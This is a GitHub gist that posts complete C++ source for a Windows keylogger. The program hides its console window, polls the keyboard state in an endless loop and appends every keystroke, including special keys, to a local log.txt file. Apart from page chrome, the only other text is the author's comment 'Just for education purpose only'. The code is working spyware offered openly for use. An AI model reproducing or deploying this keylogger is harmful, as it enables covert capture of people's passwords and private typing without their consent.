Skip to content

Instantly share code, notes, and snippets.

@winhtut
Created November 9, 2017 15:42
Show Gist options
  • Save winhtut/05bed460b8f483fe24f701df3313d7fb to your computer and use it in GitHub Desktop.
Save winhtut/05bed460b8f483fe24f701df3313d7fb to your computer and use it in GitHub Desktop.
c++ KeyLogger
#include <iostream>
#include <Windows.h>
using namespace std;
int Save(int _key, char *file);
int main() {
FreeConsole();
char i;
while (true) {
Sleep(10);
for (i = 8; i <= 255; i++) {
if (GetAsyncKeyState(i) == -32767) {
Save(i, "log.txt");
}
}
}
return 0;
}
int Save(int _key, char *file) {
cout << _key << endl;
Sleep(10);
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
if (_key == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (_key == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACK]");
else if (_key == VK_LBUTTON)
fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");
else if (_key == VK_RETURN)
fprintf(OUTPUT_FILE, "%s", "[RETURN]");
else if (_key == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else
fprintf(OUTPUT_FILE, "%s", &_key);
fclose(OUTPUT_FILE);
return 0;
}
@winhtut
Copy link
Author

winhtut commented Nov 9, 2017

Just for education purpose only

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment